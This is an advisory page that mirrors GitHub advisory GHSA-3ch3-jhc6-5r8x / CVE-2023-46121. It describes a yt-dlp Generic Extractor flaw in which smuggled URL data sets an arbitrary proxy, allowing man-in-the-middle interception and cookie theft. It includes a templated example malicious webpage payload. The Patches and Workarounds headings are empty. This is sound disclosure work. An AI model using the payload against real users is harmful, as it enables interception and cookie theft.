Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS0zY2gzLWpoYzYtNXI4eM4AA3MJ

yt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection

Impact

The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.

To pass extra control data between extractors (such as headers like Referer), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only.

Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a Referer header sent with it, for example.

Additionally, yt-dlp has internal headers to set a proxy for a request: Ytdl-request-proxy and Ytdl-socks-proxy. While these are deprecated, internally Ytdl-request-proxy is still used for --geo-verification-proxy.

However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to set an arbitrary proxy for an arbitrary url that the Generic extractor will request.

This could allow for the following, but not limited too:

An example malicious webpage:

<!DOCTYPE html>
<cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')

Where {{ target_site }} is the URL Generic extractor will request and {{ proxy url }} is the proxy to proxy the request for this url through.

Patches

Workarounds

References

Permalink: https://github.com/advisories/GHSA-3ch3-jhc6-5r8x
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zY2gzLWpoYzYtNXI4eM4AA3MJ
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 1 year ago
Updated: about 1 year ago


CVSS Score: 5.0
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

Identifiers: GHSA-3ch3-jhc6-5r8x, CVE-2023-46121
References: Repository: https://github.com/yt-dlp/yt-dlp
Blast Radius: 17.7

Affected Packages

pypi:yt-dlp
Dependent packages: 251
Dependent repositories: 3,540
Downloads: 2,447,109 last month
Affected Version Ranges: >= 2022.10.04, < 2023.11.14
Fixed in: 2023.11.14
All affected versions: 2022.10.4, 2022.11.11, 2023.1.2, 2023.1.6, 2023.2.17, 2023.3.3, 2023.3.4, 2023.6.21, 2023.6.22, 2023.7.6, 2023.9.24, 2023.10.7, 2023.10.13
All unaffected versions: 2021.1.15, 2021.1.16, 2021.1.20, 2021.1.24, 2021.1.29, 2021.2.4, 2021.2.9, 2021.2.15, 2021.2.19, 2021.2.24, 2021.3.1, 2021.3.3, 2021.3.7, 2021.3.15, 2021.3.21, 2021.3.24, 2021.4.3, 2021.4.11, 2021.4.22, 2021.5.11, 2021.5.20, 2021.6.1, 2021.6.8, 2021.6.9, 2021.6.23, 2021.7.7, 2021.7.21, 2021.7.24, 2021.8.2, 2021.8.10, 2021.9.1, 2021.9.2, 2021.9.25, 2021.10.9, 2021.10.10, 2021.10.22, 2021.11.10, 2021.12.1, 2021.12.25, 2021.12.27, 2022.1.21, 2022.2.3, 2022.2.4, 2022.3.8, 2022.4.8, 2022.5.18, 2022.6.22, 2022.6.29, 2022.7.17, 2022.7.18, 2022.8.8, 2022.8.14, 2022.8.19, 2022.9.1, 2023.11.14, 2023.11.16, 2023.12.30, 2024.3.10, 2024.4.9, 2024.5.26, 2024.5.27, 2024.7.1, 2024.7.2, 2024.7.7, 2024.7.8, 2024.7.9, 2024.7.16, 2024.7.25, 2024.8.1, 2024.8.6, 2024.9.27, 2024.10.7, 2024.10.22, 2024.11.4, 2024.11.18